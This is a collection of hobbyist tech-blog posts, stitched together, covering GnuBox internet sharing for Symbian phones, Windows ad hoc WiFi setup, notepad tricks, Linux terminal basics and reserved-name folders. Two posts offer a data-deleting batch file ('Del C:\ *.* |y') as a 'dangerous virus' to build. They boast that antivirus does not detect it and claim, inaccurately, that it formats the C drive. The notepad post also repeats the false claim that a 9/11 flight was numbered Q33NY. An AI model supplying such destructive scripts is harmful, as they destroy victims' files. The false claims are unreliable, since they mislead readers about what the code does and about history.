Access Internet From Mobile Using Computers Internet Connection

Update: Official site of gnubox is down from more than 3 months now. So all links now point to wayback archive pages. I have uploaded few gnubox versions I found here. If you get more, please mail them to rahul@devilsworkshop.org (October 14, 2008)

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Important: If your handset require SIS file to be signed  and/or giving some kind of certification error, please refer this post to get SIS file signed or turning-off signing/certificate check on your mobile handset.

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Yes, you read it right. I am not talking about using mobile to access internet on your PC. Its the opposite I am demonstrating here. So you will be able to use FREE internet on mobile. Of course, you may need to pay for internet service you use already on PC.

Now as with most mobile hacks, this is limited to symbian mobiles which includes almost all Nokia Series60 and Many Sony Ericsson phones.

Why do I need this?

Yep. I felt the same long time back and also left the idea, but our reader Manish wanted to know this. And now I am done with this I am finding this quite useful. I need internet on mobile only to update themes, games and other stuff. Downloading themes, softwares and other stuff on PC and then sending them to mobile is one option but I always find its tedious.

This one is really better as its FREE and speed is much better than what GPRS ever offered!

How it will work?

We normally connect PC and Mobile for file transfer and data synchronization. One step ahead, we use GPRS on mobile to connect internet on PC side. All these means, two devices can connect to each other and share Internet. Only remaining possibility left to check was, can mobile dial/use/access internet on PC?

And here is the solution which will work for sure but may need some efforts…

Requirements…

1. A PC with internet connection. OS does not matter. Also it doesn’t matter how you connect to internet from PC.
2. A symbian handset with GnuBox – a free and open-source tool which will do thing on your handset.
3. mRouter to do things on PC side. Its optional but can save your lots of time. You can manually handle

Now first requirement is obvious, lets take care of the remaining too…

Preparing PC side…

#using mRouter (Windows only)

Windows user can download mRouter. Then install it on your PC and restart the machine.

Next you need to configure mRouter which is quick & easy. Tam Hanna explained it very well here.

#without mRouter

Now all major OS have internet connection sharing feature.

On windows, you need to add a new modem and attach it to COM port which is used fro Mobile-PC communication. As an example check this article for details on how to do it on Windows, Symbian Mobile & Bluetooth channel combo.

Covering all details of other OS is not possible here. Check tutorials section below for a matching reference.

Preparing Mobile side using GnuBox…

Download GnuBox version for your handset models.

GnuBox have a dedicated page here. Do not forget to check it, as it have

For particular instructions for your handset, OS combo, check tutorials from following section.

Tutorials & References…

Official GnuBox page covers most of the details but its not enough for many users. So here is the list of tutorials & references which may help you…

#Windows

• Nokia 6620/6670/6260/7610/3230/6630/80/81/N70/N90. Widcomm or Bluesoleil bluetooth drivers. With Screenshots
• Using mRouter with palmtop
• GnuBox, Nokia 3230, mRouter & windows [pdf format]

#Linux

• GnuBox, Nokia 6630 and Gentoo Linux
• Nokia 6600 and Linux over Bluetooth
• Linux with the Sony-Ericsson P800

#Mac

• Share a Internet connection with a Nokia 6600 via MacOS and bluetooth
• GnuBox, Nokia 7650/6600 & ALL OS
• Share internet and TCP/IP services over Bluetooth

#Misc

• If you need to sign GnuBox sis file, check this
• Internet sharing methods for GnuBox
• Official Troubleshooting

#Videos
You can find many vidoes dedicated for gnubox on YouTube. Watch one which best suits for your task. 

Thats it. I know it sounds a lot of work! But its worth it… 

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How To Share LAN/Wired Internet Via WiFi Without Wi-Fi Router

We lives in modern world and still many of us don’t have Wi-Fi modem in our house. The reason is Wi-Fi modem/router expensive than the normal LAN and USB modem. But we do have Wi-Fi feature in our mobile phones. Many times our phones app or games requires big data to be download via 3g or Wi-Fi. 3G is still an expensive connection for average income family users and without a Wi-Fi router we can’t actually create a Wi-Fi ad-hoc network.  We may have internet in our house but we don’t have Wi-Fi router. That time we feel upset.  Sometimes at mall, school, collage or offices we gets Wi-Fi networks and we use them. That time we recognize importance of Wi-Fi to download things faster without subscribing for an internet or 3g plan for a mobile separately.

Technology changes within a day. You buy something and the next day you get better stuff for cheaper price. Same way there is a small and cheap Wi-Fi adapter for your pc to create Wi-Fi ad hoc without a Wi-Fi router or modem. If you’re not able to buy wireless modem than you should go for Wi-Fi adapter and create a Wi-Fi hotspot in your house. There are many mini USB Wi-Fi adapters available on online stores like amazon, naaptol etc. but you might get cheaper if you buy from local pc market. I had seen a cheapest wifi adapter on ebay is 4$. You can find the best one for you and set up your home wireless network.

Requirements:

• Internet connection
• USB WiFi adapter 

How To Share Pc Internet With Wifi Enabled Devices 

• For Windows Xp users
• For Windows Vista & 7 users

Windows 8 doesn’t have wifi feature by default. so we use a different method to create wifi ad hoc in windows 8 I had created a separate post for windows 8 users. 

Read more: how to share pc internet via wifi on windows 8

Windows XP users

Click on start or press window key
Go to Control Panel
Select Network Connections
Right click on Wireless Network Connections
Select properties
Click on Wireless Network tab and check the box "Use Windows to configure my wireless network settings"
Now click add under the preferred networks
Write any Network Name (SSID) you want in text-box
Select shared in Network Authentication option
Select WEP in Data encryption option
Type your password in Network Key and click ok
Now you will see a network in preferred networks
Click on Advanced button and select “Computer-to-computer (ad hoc) networks only" click close
Now press ok. We have done everything from wireless connections

One more thing we have to do with our wired/LAN local area connections. Right click on local area connections and select properties
Click on advanced tab
Check the "Allow other network users to connect through this computer’s internet connection" Box under Internet Connection Sharing.
Now press ok and enjoy your recently created WiFi with your mobiles, Xbox 360, ps3, laptops and every wifi enable device.

Video available if your confused on some steps

Windows Vista & Windows 7 users

Click on start or press window key
Select "Network and Sharing Centre" (view by large icon)
Click on Setup New Connection
Choose "Set up a wireless ad hoc (computer-to-computer) network"
Type any name in Network Name option
Select WEP in Security Type and type any password in security key
(you can check save this network check-box if you want to use this network again in future)
Click Next
Vista users will get "Turn on internet connection sharing" optionclick on it and enjoy wifi with your wifi enable devices.

So it’s the cheapest way to get wireless/Wi-Fi network in your home without buying expensive Wi-Fi routers/modem. If you can buy Wi-Fi router does it but the Wi-Fi adapter do the same thing with your normal modem. You can buy mini USB adapter from online or local pc market. Its way cheaper than Wi-Fi router

Configure Android and iphone devices

Before start connecting to created wifi adhoc. In your PC open command prompt and copy paste ipconfig /all and press enter now write down ip address(IPv4), gateway, netmask, DNS 1 and DNS2.

Its time to configure your device go to wifi and scan newly created wifi connection and go into advance setting of it and enter PC ip address(IPv4), gateway, netmask, DNS 1 and DNS2 thats it

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Learn To Build Your Own Computer - Video Tutorials

http://www.coolhackingtrick.com/2012/03/learn-to-build-your-own-computer.html

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Adding background images to windows drives

Isn't it cool to have great wallpaper for your desktop but it might be more fun to have amazing background images for your drives. Drives Background Image is a Windows freeware application that allows you to set a wallpaper for each disk drive on your computer. This program is very easy to use you only need to select wallpaper for your background, it also provide option to change icons of your drives, changing text color and it provide instant preview of your selected settings. But  keep in mind that Windows 7 users need administrator privileges while running this program, as the application attempts to modify the configuration of the local hard drives. Its pretty nice program for window customization and every one  should try this tool. Follow below steps to download and learn to use this program.

   Features of the program:

• Autodetect Available Drives
• Set Background To Multiple Drives
• Remove Background From Multiple Drives
• Set Icons To Multiple Drives
• Remove Icon From Multiple Drives
• Auto Recover Default Icons
•  Events Log
• Drive Preview
• Icon Preview
• Easy Clean GUI

Download Here

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Top 5 Cool Notepad Tricks

I had previously share some Interesting computer tricks as well as cool Batch file programs. In this post i will share with you guys some of the cool notepad tricks.As name suggest you don't require any program other then notepad. So lets get started.

1. World Trade Center Attack Trick

The flight number of the plane that had hit World Trade Center on  (9/11) was Q33NY. Now we call this trick or a coincidence or something else but whatever it is you will be definately amazed by the this trick.

    1. Open Notepad and Type “Q33N” (without quotes) in capital letters.
    2. Increase the font size to 72.
    3. Change the Font to Wingdings.

• World Trade Center Notepad Trick

2. Matrix Effect Trick

In this trick i will show you to make a batch file in notepad which will act as matrix effect that you might have seen in movies.Matrix effect is basically number flashes in green color.

    1. Open Noteapad and copy below code into it.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

    2. Now save this file as Matrix.bat (name can be anything but .bat is must)
    3. Open your saved file and you will have matrix effect on your screen.

• Matrix Effect Using Notepad
• Advance Matrix Effect

3. Creating Virus That Format C Drive

In this trick we will be creating virus in notepad using batch file programming. This virus is really simple to create yet very dangerous. opening this file we delete or format C drive of your computer.

    1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

 
    2. Then Save this file as virus.bat
    3. Now, running this file format C Drive.

• Learn To Make Dangerous Virus In Minute

4. Making Personal Diary Using Notepad 

Here you will learn to use notepad as Digital diary or a log book to keep record of your daily work instead of using pen and paper.

    1. Open Notepad and Type .LOG (in capital Letters and press enter

    2. Save the program with any name and close it.

    3. Open the file again. Now you can see current date and time, This will happen every time you reopen notepad

• Make Personal Diary Using Notepad

5. Dancing Keyboard Led

In this part i will show you to make interesting file using notepad which will make keyboard led to dance. basically we will be creating a visual basic script.

    1. Open Notepad and copy below codes into it.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

    2. Then save this file as dance.vbs (name can be anything but .vbs is must)
    3. Open your save file and see your keyboard led blinking like disco lights

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Learn To Make Dangerous Virus In A Minute

In my previous post i had teach you guys to create virus that disable mouse and Virus to format Hard Disk. In this post i will teach you to make simple yet very powerfull or you can say harmfull computer virus using a batch file. No software is required to make this virus, Noteapad is enough for it. The good thing about this virus is it is not detected by any AntiVirus.

What will this virus do ?  

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus. If you want to learn more about batch programming visit my post about Learn Batch Programming.

How to Make the virus ?

   1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

   2. Save this file as virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will delete all the content of C Drive.


Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

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Block Facebook On Your Computer In Few Simple Steps

I had previously posted about Blocking Facebook on your computer but many users were facing difficulties doing that. So In this tutorial i will share with you guys an amazing programme or small little tool that will allow you block facebook on your computer easily in just few simple steps. So lets get started

How To Use Facebook Blocker ? 

 1. First download Facebook Blocker by Clicking Here
  2. Extract the file and right click on Facebook Blocker.exe and run it as administator (Important)
  3. Press 1 in order to  backup your host file to be on the safe side.

  4. Now Press 2 to block facebook
  5. Its time to check if facebook is blocked or not to do that Press 5
  6. Hope this help you if you have any question leave a comment below.

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Introduction To Basic Terminal Commands For Linux - Part 1

In this tutorial you will learn to use linux terminal. You will learn to navigate on the terminal, learn to create and remove file and much more. Most of this commands also works on Mac Os X and powershell on windows.

What Is Terminal ?

Basically you are reading this tutorial because you are new to linux or want to learn using terminal to navigate. Before you get started you must have linux installed or running virtually on your computer. I would recommend downloading fedora or ubuntu (If you have trouble installing ubuntu leave a comment below and i will post a tutorial).

Commands To Remember

This are some of commands you must remember which will help you to use terminal more easily.
ls - it will list all files and folder in your current directory
ls -l it will give detailt listing of all files and folders
ls -a it will list all files and folder in your current directory including hidden files (files and folders that begin with period)
pwd will print your working directory or simply your current directory

Navigating In Terminal

Here i may refer folder as directory so dont get confused. This is the term we use in linux for folders.

cd - cd stands for change directory. we use cd follow by path address to navigate ro that folder.
Eg: cd Desktop will make desktop as my current directory.
cd / will make root as you current directory
cd ~ will make home as your current directory
Typing cd alone is same as cd ~ and it will make home as your current directory
cd .. will make parent directory i.e directory above your current directory
cd ../../ will take you two folder up

Creating Files And Folder

mkdir - we use mkdir follow by path or folder name to create a directory
Eg mkdir car will create directory car in your current directory
to create folder recursively i.e folder inside folder inside folder we use -p flag
Eg mkdir -p vehicles/car/truck will create directory vehicles in your current directory which have car inside it and car has directory truck in it.

touch - we use touch follow by file name to create empty file.

Removing Files And Folders

rmdir - we use rmdir follow by path to to remove any directory. This will not work if folder you are trying to remove has something in it.
rm -r  to remove file recursively which can not be removed by rmdir
rm - We use this command to remove files

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Create A Undeletable And Unrenamable Folders In Windows

In this tutorial you will learn cool and simple trick to Create an undeletable and unrenamable Folders In Windows operating system. Most of the Peoples are not aware that it is possible to create Undeletable, Unrenamable folder in windows without any software. To Test this concept just follow simple steps given below.

Try to make a new folder in windows & give it name con,aux, lpt1, lpt2, lpt3 up to lpt9. you won't be allowed to create folder with above mentioned names, Because they are reserved words in windows.

How To Create Undeletable And Unrenamable Folders ?

1. Go to Start and then Click on Run
2. Type cmd & hit enter (To open Command Prompt ).
3. Remember you cannot create Undeletable & unrenamable folder in your root directory (i.e. where the windows is installed) That means you can't make this kind of folder in C: drive if you installed windows on C:
4. Type D: or E: and hit enter
5. Type md con\ and hit enter (md - make directory)
6. You may use other words such as aux, lpt1, lpt2, lpt3 up to lpt9 instead of con in above step.
7. Open that directory, you will see the folder created of name con.
8. Try to delete that folder or rename that folder windows will show the error message.

How to delete that folder ?

It is not possible to delete that folder manually but you can delete this folder by another way mentioned below.

1. Open Command Prompt
2. Type D: ( if u created this type of folder in D: drive) & hit enter
3. Type rd con\ (rd - remove directory)
4. Open that directory and the folder will not appear because it is removed.

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New Awesome Youtube Missile Game Trick

  
amazing trick that i came across we will call it you tube missile trick. Since Google is celebrating geek week it introduced this trick. - 

 1. Open you tube and click on any video you would like to play
 2. Pause the video
 3. Now type 1980 and see the magic Once you start this game missile will start coming from the top.


 The job of missile is to destroy the video. You can protect the video by firing back using your mouse.

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